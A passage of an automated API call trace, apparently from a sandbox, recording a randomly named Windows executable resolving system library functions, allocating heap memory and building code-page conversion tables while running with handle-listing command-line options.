(hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0115.796] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0115.797] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0115.798] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0115.798] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0115.798] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0115.799] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0115.799] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0115.799] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0115.799] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0115.799] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0115.799] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0115.799] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0115.799] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0115.800] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0115.800] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0115.800] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0115.800] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0115.800] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0115.800] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0115.811] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0115.811] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe87a94a0, dwHighDateTime=0x1d5d06a)) [0115.811] GetCurrentThreadId () returned 0xf50 [0115.811] GetCurrentProcessId () returned 0xf4c [0115.811] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=25776300528) returned 1 [0115.811] GetProcessHeap () returned 0x5a0000 [0115.811] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0115.812] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0115.813] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0115.814] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0115.970] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3bc) returned 0x5b6110 [0115.970] GetCurrentThreadId () returned 0xf50 [0115.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b64d8 [0115.971] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5b64f8 [0115.971] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xe9cc659c, hStdError=0x0)) [0115.971] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0115.971] GetFileType (hFile=0x3) returned 0x2 [0115.971] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.971] GetFileType (hFile=0x7) returned 0x2 [0115.972] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0115.972] GetFileType (hFile=0xb) returned 0x2 [0115.972] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0115.972] GetEnvironmentStringsW () returned 0x5b6d00* [0115.972] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xba8) returned 0x5b78b0 [0115.972] FreeEnvironmentStringsW (penv=0x5b6d00) returned 1 [0115.973] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x88) returned 0x5b8460 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xa0) returned 0x5b84f0 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3e) returned 0x5b85b0 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6c) returned 0x5b9598 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x6e) returned 0x5b9610 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x78) returned 0x5af930 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x62) returned 0x5b9688 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b96f8 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5b9730 [0115.973] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x4c) returned 0x5b9780 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x28) returned 0x5b97d8 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1a) returned 0x5b5ae0 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x4a) returned 0x5b9808 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x72) returned 0x5af9b0 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b9860 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b9898 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1c) returned 0x5b5b08 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0xd2) returned 0x5b98d0 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x7c) returned 0x5b99b0 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5b9a38 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3a) returned 0x5b85f8 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x90) returned 0x5b9a78 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5b9b10 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b9b40 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x36) returned 0x5b9b78 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x48) returned 0x5b9bb8 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5b9c08 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5b8640 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x18) returned 0x5b9c68 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x82) returned 0x5b9c88 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2e) returned 0x5b9d18 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x1e) returned 0x5b5b30 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2c) returned 0x5b9d50 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5b9d88 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x52) returned 0x5b9de8 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x2a) returned 0x5b9e48 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x3c) returned 0x5b8688 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x54) returned 0x5b9e80 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x24) returned 0x5b9ee0 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x30) returned 0x5b9f10 [0115.974] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x8c) returned 0x5b9f48 [0115.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b78b0 | out: hHeap=0x5a0000) returned 1 [0115.975] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x8, Size=0x800) returned 0x5b6d00 [0115.975] GetLastError () returned 0x0 [0115.975] SetLastError (dwErrCode=0x0) [0115.975] GetLastError () returned 0x0 [0115.975] SetLastError (dwErrCode=0x0) [0115.975] GetLastError () returned 0x0 [0115.975] SetLastError (dwErrCode=0x0) [0115.975] GetACP () returned 0x4e4 [0115.975] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x220) returned 0x5b7508 [0115.975] GetLastError () returned 0x0 [0115.976] SetLastError (dwErrCode=0x0) [0115.976] IsValidCodePage (CodePage=0x4e4) returned 1 [0115.976] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0115.976] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0115.976] GetLastError () returned 0x0 [0115.976] SetLastError (dwErrCode=0x0) [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0115.976] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0115.976] GetLastError () returned 0x0 [0115.976] SetLastError (dwErrCode=0x0) [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0115.976] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0115.976] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0115.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x0cdÌéäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0115.976] GetLastError () returned 0x0 [0115.976] SetLastError (dwErrCode=0x0) [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0115.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0115.976] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0115.976] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, 